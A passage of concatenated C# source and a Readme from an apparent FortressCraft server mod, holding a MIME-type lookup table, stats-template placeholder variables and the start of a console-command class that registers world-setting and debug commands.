_listener.Stop();
running = false;
Thread.Sleep(50);
_serverListenThread.Abort();
}
//Copied from another project of mine
public const string HTML_RESPONSE_CONTENT_TYPE = "text/html";
public static Dictionary<string, string> MIME_TYPES = new Dictionary<string, string>()
{
{".x3d","application/vnd.hzn-3d-crossword"},
{".123","application/vnd.lotus-1-2-3"},
{".3dml","text/vnd.in3d.3dml"},
{".3g2","video/3gpp2"},
{".3gp","video/3gpp"},
{".7z","application/x-7z-compressed"},
{".aab","application/x-authorware-bin"},
{".aac","audio/x-aac"},
{".aam","application/x-authorware-map"},
{".aas","application/x-authorware-seg"},
{".abw","application/x-abiword"},
{".ac","application/pkix-attr-cert"},
{".acc","application/vnd.americandynamics.acc"},
{".ace","application/x-ace-compressed"},
{".acu","application/vnd.acucobol"},
{".adp","audio/adpcm"},
{".aep","application/vnd.audiograph"},
{".afp","application/vnd.ibm.modcap"},
{".ahead","application/vnd.ahead.space"},
{".ai","application/postscript"},
{".aif","audio/x-aiff"},
{".air","application/vnd.adobe.air-application-installer-package+zip"},
{".ait","application/vnd.dvb.ait"},
{".ami","application/vnd.amiga.ami"},
{".apk","application/vnd.android.package-archive"},
{".application","application/x-ms-application"},
{".apr","application/vnd.lotus-approach"},
{".asf","video/x-ms-asf"},
{".aso","application/vnd.accpac.simply.aso"},
{".atc","application/vnd.acucorp"},
{".atom","application/atom+xml"},
{".atomcat","application/atomcat+xml"},
{".atomsvc","application/atomsvc+xml"},
{".atx","application/vnd.antix.game-component"},
{".au","audio/basic"},
{".avi","video/x-msvideo"},
{".aw","application/applixware"},
{".azf","application/vnd.airzip.filesecure.azf"},
{".azs","application/vnd.airzip.filesecure.azs"},
{".azw","application/vnd.amazon.ebook"},
{".bcpio","application/x-bcpio"},
{".bdf","application/x-font-bdf"},
{".bdm","application/vnd.syncml.dm+wbxml"},
{".bed","application/vnd.realvnc.bed"},
{".bh2","application/vnd.fujitsu.oasysprs"},
{".bin","application/octet-stream"},
{".bmi","application/vnd.bmi"},
{".bmp","image/bmp"},
{".box","application/vnd.previewsystems.box"},
{".btif","image/prs.btif"},
{".bz","application/x-bzip"},
{".bz2","application/x-bzip2"},
{".c","text/x-c"},
{".c11amc","application/vnd.cluetrust.cartomobile-config"},
{".c11amz","application/vnd.cluetrust.cartomobile-config-pkg"},
{".c4g","application/vnd.clonk.c4group"},
{".cab","application/vnd.ms-cab-compressed"},
{".car","application/vnd.curl.car"},
{".cat","application/vnd.ms-pki.seccat"},
{".ccxml","application/ccxml+xml,"},
{".cdbcmsg","application/vnd.contact.cmsg"},
{".cdkey","application/vnd.mediastation.cdkey"},
{".cdmia","application/cdmi-capability"},
{".cdmic","application/cdmi-container"},
{".cdmid","application/cdmi-domain"},
{".cdmio","application/cdmi-object"},
{".cdmiq","application/cdmi-queue"},
{".cdx","chemical/x-cdx"},
{".cdxml","application/vnd.chemdraw+xml"},
{".cdy","application/vnd.cinderella"},
{".cer","application/pkix-cert"},
{".cgm","image/cgm"},
{".chat","application/x-chat"},
{".chm","application/vnd.ms-htmlhelp"},
{".chrt","application/vnd.kde.kchart"},
{".cif","chemical/x-cif"},
{".cii","application/vnd.anser-web-certificate-issue-initiation"},
{".cil","application/vnd.ms-artgalry"},
{".cla","application/vnd.claymore"},
{".class","application/java-vm"},
{".clkk","application/vnd.crick.clicker.keyboard"},
{".clkp","application/vnd.crick.clicker.palette"},
{".clkt","application/vnd.crick.clicker.template"},
{".clkw","application/vnd.crick.clicker.wordbank"},
{".clkx","application/vnd.crick.clicker"},
{".clp","application/x-msclip"},
{".cmc","application/vnd.cosmocaller"},
{".cmdf","chemical/x-cmdf"},
{".cml","chemical/x-cml"},
{".cmp","application/vnd.yellowriver-custom-menu"},
{".cmx","image/x-cmx"},
{".cod","application/vnd.rim.cod"},
{".cpio","application/x-cpio"},
{".cpt","application/mac-compactpro"},
{".crd","application/x-mscardfile"},
{".crl","application/pkix-crl"},
{".cryptonote","application/vnd.rig.cryptonote"},
{".csh","application/x-csh"},
{".csml","chemical/x-csml"},
{".csp","application/vnd.commonspace"},
{".css","text/css"},
{".csv","text/csv"},
{".cu","application/cu-seeme"},
{".curl","text/vnd.curl"},
{".cww","application/prs.cww"},
{".dae","model/vnd.collada+xml"},
{".daf","application/vnd.mobius.daf"},
{".davmount","application/davmount+xml"},
{".dcurl","text/vnd.curl.dcurl"},
{".dd2","application/vnd.oma.dd2+xml"},
{".ddd","application/vnd.fujixerox.ddd"},
{".deb","application/x-debian-package"},
{".der","application/x-x509-ca-cert"},
{".dfac","application/vnd.dreamfactory"},
{".dir","application/x-director"},
{".dis","application/vnd.mobius.dis"},
{".djvu","image/vnd.djvu"},
{".dna","application/vnd.dna"},
{".doc","application/msword"},
{".docm","application/vnd.ms-word.document.macroenabled.12"},
{".docx","application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
{".dotm","application/vnd.ms-word.template.macroenabled.12"},
{".dotx","application/vnd.openxmlformats-officedocument.wordprocessingml.template"},
{".dp","application/vnd.osgi.dp"},
{".dpg","application/vnd.dpgraph"},
{".dra","audio/vnd.dra"},
{".dsc","text/prs.lines.tag"},
{".dssc","application/dssc+der"},
{".dtb","application/x-dtbook+xml"},
{".dtd","application/xml-dtd"},
{".dts","audio/vnd.dts"},
{".dtshd","audio/vnd.dts.hd"},
{".dvi","application/x-dvi"},
{".dwf","model/vnd.dwf"},
{".dwg","image/vnd.dwg"},
{".dxf","image/vnd.dxf"},
{".dxp","application/vnd.spotfire.dxp"},
{".ecelp4800","audio/vnd.nuera.ecelp4800"},
{".ecelp7470","audio/vnd.nuera.ecelp7470"},
{".ecelp9600","audio/vnd.nuera.ecelp9600"},
{".edm","application/vnd.novadigm.edm"},
{".edx","application/vnd.novadigm.edx"},
{".efif","application/vnd.picsel"},
{".ei6","application/vnd.pg.osasli"},
{".eml","message/rfc822"},
{".emma","application/emma+xml"},
{".eol","audio/vnd.digital-winds"},
{".eot","application/vnd.ms-fontobject"},
{".epub","application/epub+zip"},
{".es","application/ecmascript"},
{".es3","application/vnd.eszigno3+xml"},
{".esf","application/vnd.epson.esf"},
{".etx","text/x-setext"},
{".exe","application/x-msdownload"},
{".exi","application/exi"},
{".ext","application/vnd.novadigm.ext"},
{".ez2","application/vnd.ezpix-album"},
{".ez3","application/vnd.ezpix-package"},
{".f","text/x-fortran"},
{".f4v","video/x-f4v"},
{".fbs","image/vnd.fastbidsheet"},
{".fcs","application/vnd.isac.fcs"},
{".fdf","application/vnd.fdf"},
{".fe_launch","application/vnd.denovo.fcselayout-link"},
{".fg5","application/vnd.fujitsu.oasysgp"},
{".fh","image/x-freehand"},
{".fig","application/x-xfig"},
{".fli","video/x-fli"},
{".flo","application/vnd.micrografx.flo"},
{".flv","video/x-flv"},
{".flw","application/vnd.kde.kivio"},
{".flx","text/vnd.fmi.flexstor"},
{".fly","text/vnd.fly"},
{".fm","application/vnd.framemaker"},
{".fnc","application/vnd.frogans.fnc"},
{".fpx","image/vnd.fpx"},
{".fsc","application/vnd.fsc.weblaunch"},
{".fst","image/vnd.fst"},
{".ftc","application/vnd.fluxtime.clip"},
{".fti","application/vnd.anser-web-funds-transfer-initiation"},
{".fvt","video/vnd.fvt"},
{".fxp","application/vnd.adobe.fxp"},
{".fzs","application/vnd.fuzzysheet"},
{".g2w","application/vnd.geoplan"},
{".g3","image/g3fax"},
{".g3w","application/vnd.geospace"},
{".gac","application/vnd.groove-account"},
{".gdl","model/vnd.gdl"},
{".geo","application/vnd.dynageo"},
{".gex","application/vnd.geometry-explorer"},
{".ggb","application/vnd.geogebra.file"},
{".ggt","application/vnd.geogebra.tool"},
{".ghf","application/vnd.groove-help"},
{".gif","image/gif"},
{".gim","application/vnd.groove-identity-message"},
{".gmx","application/vnd.gmx"},
{".gnumeric","application/x-gnumeric"},
{".gph","application/vnd.flographit"},
{".gqf","application/vnd.grafeq"},
{".gram","application/srgs"},
{".grv","application/vnd.groove-injector"},
{".grxml","application/srgs+xml"},
{".gsf","application/x-font-ghostscript"},
{".gtar","application/x-gtar"},
{".gtm","application/vnd.groove-tool-message"},
{".gtw","model/vnd.gtw"},
{".gv","text/vnd.graphviz"},
{".gxt","application/vnd.geonext"},
{".h261","video/h261"},
{".h263","video/h263"},
{".h264","video/h264"},
{".hal","application/vnd.hal+xml"},
{".hbci","application/vnd.hbci"},
{".hdf","application/x-hdf"},
{".hlp","application/winhlp"},
{".hpgl","application/vnd.hp-hpgl"},
{".hpid","application/vnd.hp-hpid"},
{".hps","application/vnd.hp-hps"},
{".hqx","application/mac-binhex40"},
{".htke","application/vnd.kenameaapp"},
{".html","text/html"},
{".hvd","application/vnd.yamaha.hv-dic"},
{".hvp","application/vnd.yamaha.hv-voice"},
{".hvs","application/vnd.yamaha.hv-script"},
{".i2g","application/vnd.intergeo"},
{".icc","application/vnd.iccprofile"},
{".ice","x-conference/x-cooltalk"},
{".ico","image/x-icon"},
{".ics","text/calendar"},
{".ief","image/ief"},
{".ifm","application/vnd.shana.informed.formdata"},
{".igl","application/vnd.igloader"},
{".igm","application/vnd.insors.igm"},
{".igs","model/iges"},
{".igx","application/vnd.micrografx.igx"},
{".iif","application/vnd.shana.informed.interchange"},
{".imp","application/vnd.accpac.simply.imp"},
{".ims","application/vnd.ms-ims"},
{".ipfix","application/ipfix"},
{".ipk","application/vnd.shana.informed.package"},
{".irm","application/vnd.ibm.rights-management"},
{".irp","application/vnd.irepository.package+xml"},
{".itp","application/vnd.shana.informed.formtemplate"},
{".ivp","application/vnd.immervision-ivp"},
{".ivu","application/vnd.immervision-ivu"},
{".jad","text/vnd.sun.j2me.app-descriptor"},
{".jam","application/vnd.jam"},
{".jar","application/java-archive"},
{".java","text/x-java-source,java"},
{".jisp","application/vnd.jisp"},
{".jlt","application/vnd.hp-jlyt"},
{".jnlp","application/x-java-jnlp-file"},
{".joda","application/vnd.joost.joda-archive"},
{".jpeg","image/jpeg"},
{".jpg","image/jpeg"},
{".jpgv","video/jpeg"},
{".jpm","video/jpm"},
{".js","application/javascript"},
{".json","application/json"},
{".karbon","application/vnd.kde.karbon"},
{".kfo","application/vnd.kde.kformula"},
{".kia","application/vnd.kidspiration"},
{".kml","application/vnd.google-earth.kml+xml"},
{".kmz","application/vnd.google-earth.kmz"},
{".kne","application/vnd.kinar"},
{".kon","application/vnd.kde.kontour"},
{".kpr","application/vnd.kde.kpresenter"},
{".ksp","application/vnd.kde.kspread"},
{".ktx","image/ktx"},
{".ktz","application/vnd.kahootz"},
{".kwd","application/vnd.kde.kword"},
{".lasxml","application/vnd.las.las+xml"},
{".latex","application/x-latex"},
{".lbd","application/vnd.llamagraphics.life-balance.desktop"},
{".lbe","application/vnd.llamagraphics.life-balance.exchange+xml"},
{".les","application/vnd.hhe.lesson-player"},
{".link66","application/vnd.route66.link66+xml"},
{".lrm","application/vnd.ms-lrm"},
{".ltf","application/vnd.frogans.ltf"},
{".lvp","audio/vnd.lucent.voice"},
{".lwp","application/vnd.lotus-wordpro"},
{".m21","application/mp21"},
{".m3u","audio/x-mpegurl"},
{".m3u8","application/vnd.apple.mpegurl"},
{".m4v","video/x-m4v"},
{".ma","application/mathematica"},
{".mads","application/mads+xml"},
{".mag","application/vnd.ecowin.chart"},
{".mathml","application/mathml+xml"},
{".mbk","application/vnd.mobius.mbk"},
{".mbox","application/mbox"},
{".mc1","application/vnd.medcalcdata"},
{".mcd","application/vnd.mcd"},
{".mcurl","text/vnd.curl.mcurl"},
{".mdb","application/x-msaccess"},
{".mdi","image/vnd.ms-modi"},
{".meta4","application/metalink4+xml"},
{".mets","application/mets+xml"},
{".mfm","application/vnd.mfmp"},
{".mgp","application/vnd.osgeo.mapguide.package"},
{".mgz","application/vnd.proteus.magazine"},
{".mid","audio/midi"},
{".mif","application/vnd.mif"},
{".mj2","video/mj2"},
{".mlp","application/vnd.dolby.mlp"},
{".mmd","application/vnd.chipnuts.karaoke-mmd"},
{".mmf","application/vnd.smaf"},
{".mmr","image/vnd.fujixerox.edmics-mmr"},
{".mny","application/x-msmoney"},
{".mods","application/mods+xml"},
{".movie","video/x-sgi-movie"},
{".mp4","video/mp4"},
{".mp4a","audio/mp4"},
{".mpc","application/vnd.mophun.certificate"},
{".mpeg","video/mpeg"},
{".mpga","audio/mpeg"},
{".mpkg","application/vnd.apple.installer+xml"},
{".mpm","application/vnd.blueice.multipass"},
{".mpn","application/vnd.mophun.application"},
{".mpp","application/vnd.ms-project"},
{".mpy","application/vnd.ibm.minipay"},
{".mqy","application/vnd.mobius.mqy"},
{".mrc","application/marc"},
{".mrcx","application/marcxml+xml"},
{".mscml","application/mediaservercontrol+xml"},
{".mseq","application/vnd.mseq"},
{".msf","application/vnd.epson.msf"},
{".msh","model/mesh"},
{".msl","application/vnd.mobius.msl"},
{".msty","application/vnd.muvee.style"},
{".mts","model/vnd.mts"},
{".mus","application/vnd.musician"},
{".musicxml","application/vnd.recordare.musicxml+xml"},
{".mvb","application/x-msmediaview"},
{".mwf","application/vnd.mfer"},
{".mxf","application/mxf"},
{".mxl","application/vnd.recordare.musicxml"},
{".mxml","application/xv+xml"},
{".mxs","application/vnd.triscape.mxs"},
{".mxu","video/vnd.mpegurl"},
{".n3","text/n3"},
{".nbp","application/vnd.wolfram.player"},
{".nc","application/x-netcdf"},
{".ncx","application/x-dtbncx+xml"},
{".n-gage","application/vnd.nokia.n-gage.symbian.install"},
{".ngdat","application/vnd.nokia.n-gage.data"},
{".nlu","application/vnd.neurolanguage.nlu"},
{".nml","application/vnd.enliven"},
{".nnd","application/vnd.noblenet-directory"},
{".nns","application/vnd.noblenet-sealer"},
{".nnw","application/vnd.noblenet-web"},
{".npx","image/vnd.net-fpx"},
{".nsf","application/vnd.lotus-notes"},
{".oa2","application/vnd.fujitsu.oasys2"},
{".oa3","application/vnd.fujitsu.oasys3"},
{".oas","application/vnd.fujitsu.oasys"},
{".obd","application/x-msbinder"},
{".oda","application/oda"},
{".odb","application/vnd.oasis.opendocument.database"},
{".odc","application/vnd.oasis.opendocument.chart"},
{".odf","application/vnd.oasis.opendocument.formula"},
{".odft","application/vnd.oasis.opendocument.formula-template"},
{".odg","application/vnd.oasis.opendocument.graphics"},
{".odi","application/vnd.oasis.opendocument.image"},
{".odm","application/vnd.oasis.opendocument.text-master"},
{".odp","application/vnd.oasis.opendocument.presentation"},
{".ods","application/vnd.oasis.opendocument.spreadsheet"},
{".odt","application/vnd.oasis.opendocument.text"},
{".oga","audio/ogg"},
{".ogv","video/ogg"},
{".ogx","application/ogg"},
{".onetoc","application/onenote"},
{".opf","application/oebps-package+xml"},
{".org","application/vnd.lotus-organizer"},
{".osf","application/vnd.yamaha.openscoreformat"},
{".osfpvg","application/vnd.yamaha.openscoreformat.osfpvg+xml"},
{".otc","application/vnd.oasis.opendocument.chart-template"},
{".otf","application/x-font-otf"},
{".otg","application/vnd.oasis.opendocument.graphics-template"},
{".oth","application/vnd.oasis.opendocument.text-web"},
{".oti","application/vnd.oasis.opendocument.image-template"},
{".otp","application/vnd.oasis.opendocument.presentation-template"},
{".ots","application/vnd.oasis.opendocument.spreadsheet-template"},
{".ott","application/vnd.oasis.opendocument.text-template"},
{".oxt","application/vnd.openofficeorg.extension"},
{".p","text/x-pascal"},
{".p10","application/pkcs10"},
{".p12","application/x-pkcs12"},
{".p7b","application/x-pkcs7-certificates"},
{".p7m","application/pkcs7-mime"},
{".p7r","application/x-pkcs7-certreqresp"},
{".p7s","application/pkcs7-signature"},
{".p8","application/pkcs8"},
{".par","text/plain-bas"},
{".paw","application/vnd.pawaafile"},
{".pbd","application/vnd.powerbuilder6"},
{".pbm","image/x-portable-bitmap"},
{".pcf","application/x-font-pcf"},
{".pcl","application/vnd.hp-pcl"},
{".pclxl","application/vnd.hp-pclxl"},
{".pcurl","application/vnd.curl.pcurl"},
{".pcx","image/x-pcx"},
{".pdb","application/vnd.palm"},
{".pdf","application/pdf"},
{".pfa","application/x-font-type1"},
{".pfr","application/font-tdpfr"},
{".pgm","image/x-portable-graymap"},
{".pgn","application/x-chess-pgn"},
{".pgp","application/pgp-signature"},
{".php","text/html"},
{".pic","image/x-pict"},
{".pki","application/pkixcmp"},
{".pkipath","application/pkix-pkipath"},
{".plb","application/vnd.3gpp.pic-bw-large"},
{".plc","application/vnd.mobius.plc"},
{".plf","application/vnd.pocketlearn"},
{".pls","application/pls+xml"},
{".pml","application/vnd.ctc-posml"},
{".png","image/png"},
{".pnm","image/x-portable-anymap"},
{".portpkg","application/vnd.macports.portpkg"},
{".potm","application/vnd.ms-powerpoint.template.macroenabled.12"},
{".potx","application/vnd.openxmlformats-officedocument.presentationml.template"},
{".ppam","application/vnd.ms-powerpoint.addin.macroenabled.12"},
{".ppd","application/vnd.cups-ppd"},
{".ppm","image/x-portable-pixmap"},
{".ppsm","application/vnd.ms-powerpoint.slideshow.macroenabled.12"},
{".ppsx","application/vnd.openxmlformats-officedocument.presentationml.slideshow"},
{".ppt","application/vnd.ms-powerpoint"},
{".pptm","application/vnd.ms-powerpoint.presentation.macroenabled.12"},
{".pptx","application/vnd.openxmlformats-officedocument.presentationml.presentation"},
{".prc","application/x-mobipocket-ebook"},
{".pre","application/vnd.lotus-freelance"},
{".prf","application/pics-rules"},
{".psb","application/vnd.3gpp.pic-bw-small"},
{".psd","image/vnd.adobe.photoshop"},
{".psf","application/x-font-linux-psf"},
{".pskcxml","application/pskc+xml"},
{".ptid","application/vnd.pvi.ptid1"},
{".pub","application/x-mspublisher"},
{".pvb","application/vnd.3gpp.pic-bw-var"},
{".pwn","application/vnd.3m.post-it-notes"},
{".pya","audio/vnd.ms-playready.media.pya"},
{".pyv","video/vnd.ms-playready.media.pyv"},
{".qam","application/vnd.epson.quickanime"},
{".qbo","application/vnd.intu.qbo"},
{".qfx","application/vnd.intu.qfx"},
{".qps","application/vnd.publishare-delta-tree"},
{".qt","video/quicktime"},
{".qxd","application/vnd.quark.quarkxpress"},
{".ram","audio/x-pn-realaudio"},
{".rar","application/x-rar-compressed"},
{".ras","image/x-cmu-raster"},
{".rcprofile","application/vnd.ipunplugged.rcprofile"},
{".rdf","application/rdf+xml"},
{".rdz","application/vnd.data-vision.rdz"},
{".rep","application/vnd.businessobjects"},
{".res","application/x-dtbresource+xml"},
{".rgb","image/x-rgb"},
{".rif","application/reginfo+xml"},
{".rip","audio/vnd.rip"},
{".rl","application/resource-lists+xml"},
{".rlc","image/vnd.fujixerox.edmics-rlc"},
{".rld","application/resource-lists-diff+xml"},
{".rm","application/vnd.rn-realmedia"},
{".rmp","audio/x-pn-realaudio-plugin"},
{".rms","application/vnd.jcp.javame.midlet-rms"},
{".rnc","application/relax-ng-compact-syntax"},
{".rp9","application/vnd.cloanto.rp9"},
{".rpss","application/vnd.nokia.radio-presets"},
{".rpst","application/vnd.nokia.radio-preset"},
{".rq","application/sparql-query"},
{".rs","application/rls-services+xml"},
{".rsd","application/rsd+xml"},
{".rss","application/rss+xml"},
{".rtf","application/rtf"},
{".rtx","text/richtext"},
{".s","text/x-asm"},
{".saf","application/vnd.yamaha.smaf-audio"},
{".sbml","application/sbml+xml"},
{".sc","application/vnd.ibm.secure-container"},
{".scd","application/x-msschedule"},
{".scm","application/vnd.lotus-screencam"},
{".scq","application/scvp-cv-request"},
{".scs","application/scvp-cv-response"},
{".scurl","text/vnd.curl.scurl"},
{".sda","application/vnd.stardivision.draw"},
{".sdc","application/vnd.stardivision.calc"},
{".sdd","application/vnd.stardivision.impress"},
{".sdkm","application/vnd.solent.sdkm+xml"},
{".sdp","application/sdp"},
{".sdw","application/vnd.stardivision.writer"},
{".see","application/vnd.seemail"},
{".seed","application/vnd.fdsn.seed"},
{".sema","application/vnd.sema"},
{".semd","application/vnd.semd"},
{".semf","application/vnd.semf"},
{".ser","application/java-serialized-object"},
{".setpay","application/set-payment-initiation"},
{".setreg","application/set-registration-initiation"},
{".sfd-hdstx","application/vnd.hydrostatix.sof-data"},
{".sfs","application/vnd.spotfire.sfs"},
{".sgl","application/vnd.stardivision.writer-global"},
{".sgml","text/sgml"},
{".sh","application/x-sh"},
{".shar","application/x-shar"},
{".shf","application/shf+xml"},
{".sis","application/vnd.symbian.install"},
{".sit","application/x-stuffit"},
{".sitx","application/x-stuffitx"},
{".skp","application/vnd.koan"},
{".sldm","application/vnd.ms-powerpoint.slide.macroenabled.12"},
{".sldx","application/vnd.openxmlformats-officedocument.presentationml.slide"},
{".slt","application/vnd.epson.salt"},
{".sm","application/vnd.stepmania.stepchart"},
{".smf","application/vnd.stardivision.math"},
{".smi","application/smil+xml"},
{".snf","application/x-font-snf"},
{".spf","application/vnd.yamaha.smaf-phrase"},
{".spl","application/x-futuresplash"},
{".spot","text/vnd.in3d.spot"},
{".spp","application/scvp-vp-response"},
{".spq","application/scvp-vp-request"},
{".src","application/x-wais-source"},
{".sru","application/sru+xml"},
{".srx","application/sparql-results+xml"},
{".sse","application/vnd.kodak-descriptor"},
{".ssf","application/vnd.epson.ssf"},
{".ssml","application/ssml+xml"},
{".st","application/vnd.sailingtracker.track"},
{".stc","application/vnd.sun.xml.calc.template"},
{".std","application/vnd.sun.xml.draw.template"},
{".stf","application/vnd.wt.stf"},
{".sti","application/vnd.sun.xml.impress.template"},
{".stk","application/hyperstudio"},
{".stl","application/vnd.ms-pki.stl"},
{".str","application/vnd.pg.format"},
{".stw","application/vnd.sun.xml.writer.template"},
{".sub","image/vnd.dvb.subtitle"},
{".sus","application/vnd.sus-calendar"},
{".sv4cpio","application/x-sv4cpio"},
{".sv4crc","application/x-sv4crc"},
{".svc","application/vnd.dvb.service"},
{".svd","application/vnd.svd"},
{".svg","image/svg+xml"},
{".swf","application/x-shockwave-flash"},
{".swi","application/vnd.aristanetworks.swi"},
{".sxc","application/vnd.sun.xml.calc"},
{".sxd","application/vnd.sun.xml.draw"},
{".sxg","application/vnd.sun.xml.writer.global"},
{".sxi","application/vnd.sun.xml.impress"},
{".sxm","application/vnd.sun.xml.math"},
{".sxw","application/vnd.sun.xml.writer"},
{".t","text/troff"},
{".tao","application/vnd.tao.intent-module-archive"},
{".tar","application/x-tar"},
{".tcap","application/vnd.3gpp2.tcap"},
{".tcl","application/x-tcl"},
{".teacher","application/vnd.smart.teacher"},
{".tei","application/tei+xml"},
{".tex","application/x-tex"},
{".texinfo","application/x-texinfo"},
{".tfi","application/thraud+xml"},
{".tfm","application/x-tex-tfm"},
{".thmx","application/vnd.ms-officetheme"},
{".tiff","image/tiff"},
{".tmo","application/vnd.tmobile-livetv"},
{".torrent","application/x-bittorrent"},
{".tpl","application/vnd.groove-tool-template"},
{".tpt","application/vnd.trid.tpt"},
{".tra","application/vnd.trueapp"},
{".trm","application/x-msterminal"},
{".tsd","application/timestamped-data"},
{".tsv","text/tab-separated-values"},
{".ttf","application/x-font-ttf"},
{".ttl","text/turtle"},
{".twd","application/vnd.simtech-mindmapper"},
{".txd","application/vnd.genomatix.tuxedo"},
{".txf","application/vnd.mobius.txf"},
{".txt","text/plain"},
{".ufd","application/vnd.ufdl"},
{".umj","application/vnd.umajin"},
{".unityweb","application/vnd.unity"},
{".uoml","application/vnd.uoml+xml"},
{".uri","text/uri-list"},
{".ustar","application/x-ustar"},
{".utz","application/vnd.uiq.theme"},
{".uu","text/x-uuencode"},
{".uva","audio/vnd.dece.audio"},
{".uvh","video/vnd.dece.hd"},
{".uvi","image/vnd.dece.graphic"},
{".uvm","video/vnd.dece.mobile"},
{".uvp","video/vnd.dece.pd"},
{".uvs","video/vnd.dece.sd"},
{".uvu","video/vnd.uvvu.mp4"},
{".uvv","video/vnd.dece.video"},
{".vcd","application/x-cdlink"},
{".vcf","text/x-vcard"},
{".vcg","application/vnd.groove-vcard"},
{".vcs","text/x-vcalendar"},
{".vcx","application/vnd.vcx"},
{".vis","application/vnd.visionary"},
{".viv","video/vnd.vivo"},
{".vsd","application/vnd.visio"},
{".vsf","application/vnd.vsf"},
{".vtu","model/vnd.vtu"},
{".vxml","application/voicexml+xml"},
{".wad","application/x-doom"},
{".wav","audio/x-wav"},
{".wax","audio/x-ms-wax"},
{".wbmp","image/vnd.wap.wbmp"},
{".wbs","application/vnd.criticaltools.wbs+xml"},
{".wbxml","application/vnd.wap.wbxml"},
{".weba","audio/webm"},
{".webm","video/webm"},
{".webp","image/webp"},
{".wg","application/vnd.pmi.widget"},
{".wgt","application/widget"},
{".wm","video/x-ms-wm"},
{".wma","audio/x-ms-wma"},
{".wmd","application/x-ms-wmd"},
{".wmf","application/x-msmetafile"},
{".wml","text/vnd.wap.wml"},
{".wmlc","application/vnd.wap.wmlc"},
{".wmls","text/vnd.wap.wmlscript"},
{".wmlsc","application/vnd.wap.wmlscriptc"},
{".wmv","video/x-ms-wmv"},
{".wmx","video/x-ms-wmx"},
{".wmz","application/x-ms-wmz"},
{".woff","application/x-font-woff"},
{".wpd","application/vnd.wordperfect"},
{".wpl","application/vnd.ms-wpl"},
{".wps","application/vnd.ms-works"},
{".wqd","application/vnd.wqd"},
{".wri","application/x-mswrite"},
{".wrl","model/vrml"},
{".wsdl","application/wsdl+xml"},
{".wspolicy","application/wspolicy+xml"},
{".wtb","application/vnd.webturbo"},
{".wvx","video/x-ms-wvx"},
{".xap","application/x-silverlight-app"},
{".xar","application/vnd.xara"},
{".xbap","application/x-ms-xbap"},
{".xbd","application/vnd.fujixerox.docuworks.binder"},
{".xbm","image/x-xbitmap"},
{".xdf","application/xcap-diff+xml"},
{".xdm","application/vnd.syncml.dm+xml"},
{".xdp","application/vnd.adobe.xdp+xml"},
{".xdssc","application/dssc+xml"},
{".xdw","application/vnd.fujixerox.docuworks"},
{".xenc","application/xenc+xml"},
{".xer","application/patch-ops-error+xml"},
{".xfdf","application/vnd.adobe.xfdf"},
{".xfdl","application/vnd.xfdl"},
{".xhtml","application/xhtml+xml"},
{".xif","image/vnd.xiff"},
{".xlam","application/vnd.ms-excel.addin.macroenabled.12"},
{".xls","application/vnd.ms-excel"},
{".xlsb","application/vnd.ms-excel.sheet.binary.macroenabled.12"},
{".xlsm","application/vnd.ms-excel.sheet.macroenabled.12"},
{".xlsx","application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"},
{".xltm","application/vnd.ms-excel.template.macroenabled.12"},
{".xltx","application/vnd.openxmlformats-officedocument.spreadsheetml.template"},
{".xml","application/xml"},
{".xo","application/vnd.olpc-sugar"},
{".xop","application/xop+xml"},
{".xpi","application/x-xpinstall"},
{".xpm","image/x-xpixmap"},
{".xpr","application/vnd.is-xpr"},
{".xps","application/vnd.ms-xpsdocument"},
{".xpw","application/vnd.intercon.formnet"},
{".xslt","application/xslt+xml"},
{".xsm","application/vnd.syncml+xml"},
{".xspf","application/xspf+xml"},
{".xul","application/vnd.mozilla.xul+xml"},
{".xwd","image/x-xwindowdump"},
{".xyz","chemical/x-xyz"},
{".yaml","text/yaml"},
{".yang","application/yang"},
{".yin","application/yin+xml"},
{".zaz","application/vnd.zzazz.deck+xml"},
{".zip","application/zip"},
{".zir","application/vnd.zul"},
{".zmm","application/vnd.handheld-entertainment+xml"}
};
}
}
<file_sep>/plugin_pacas00_server/Stats/Readme.md
This folder contains the default template files for the stats.feel free to use it for reference when making your own.
The Following pieces of text will get replaced with values. Descriptions are provided where needed.
$ServerName - Replaced with the server name set in the modsettings. World Name by default
$WorldName
$PlayerCount
$Uptime - long the server has been online for. Format: 0d, 19h, 7m, 45s
$PlayTime - how long the world has been run for.
$PowerPerSec - Power Generated per second
$TotalPowerPyro - Total PTG power gen
$TotalPowerSolar - Total Solar
$TotalPowerJet - Total Turbine
$TotalPower - Total
$CoalBurned
$OresMin
$BarsMin
$TotalOre
$TotalBars
$AttackState - is either blank or "Under Attack!"
$Threat - Thread %
$Waves - Just like the threat scanner.
$Losses
$Kills
<file_sep>/plugin_pacas00_server/commands/CustomConsoleCommands.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
namespace plugin_pacas00_server.commands
{
class CustomConsoleCommands: FortressCraftMod
{
public void Start()
{
this.CreateCommand("resourceLevel", "Set World Resource Level", CmdParameterType.String, "ResourceDifficulty");
this.CreateCommand("powerLevel", "Set World Power Level", CmdParameterType.String, "PowerDifficulty");
this.CreateCommand("dayNightCycle", "Set Day/Night Cycle", CmdParameterType.String, "DayNightCycle");
this.CreateCommand("convSpeed", "Set Conveyor Speed", CmdParameterType.String, "ConvSpeed");
this.CreateCommand("mobDifficulty", "Set Mob Difficulty", CmdParameterType.String, "MobDifficulty");
this.CreateCommand("deathMode", "Set the Death Mode", CmdParameterType.String, "DeathEffect");
this.CreateCommand("ServerName", "Set what shows as the name in the server browser", CmdParameterType.String, "ServerName");
this.CreateCommand("MaxPlayers", "Set Server's Max Players", CmdParameterType.String, "MaxPlayers");
//this.CreateCommand("SharedResearch", "Set Server's Research as shared", CmdParameterType.String, "SharedResearch");
this.CreateCommand("ItemLookup", "FIRE DEBUGGER", CmdParameterType.String, "ItemLookup");
this.CreateCommand("ItemAdd", "FIRE DEBUGGER", CmdParameterType.String, "ItemAdd");
this.CreateCommand("CubeLookup", "FIRE DEBUGGER", CmdParameterType.String, "CubeLookup");
this.CreateCommand("CubeAdd", "FIRE DEBUGGER", CmdParameterType.String, "CubeAdd");
}
private void TestSpawn(string parameters)
{
global::Console.LogTargetFunction("ATTEMPTING TO ItemSearch", ConsoleMessageType.Trace);
global::Console.LogTargetFunction("ATTEMPTed TO ItemSearch", ConsoleMessageType.Trace);
}
private void CubeLookup(string parameters)
{
int pixel = 16744512;
byte red = (byte)(((pixel >> 16) & 0xff) / 16);
byte green = (byte)(((pixel >> 8) & 0xff) / 16);
byte blue = (byte)(((pixel) & 0xff) / 16);
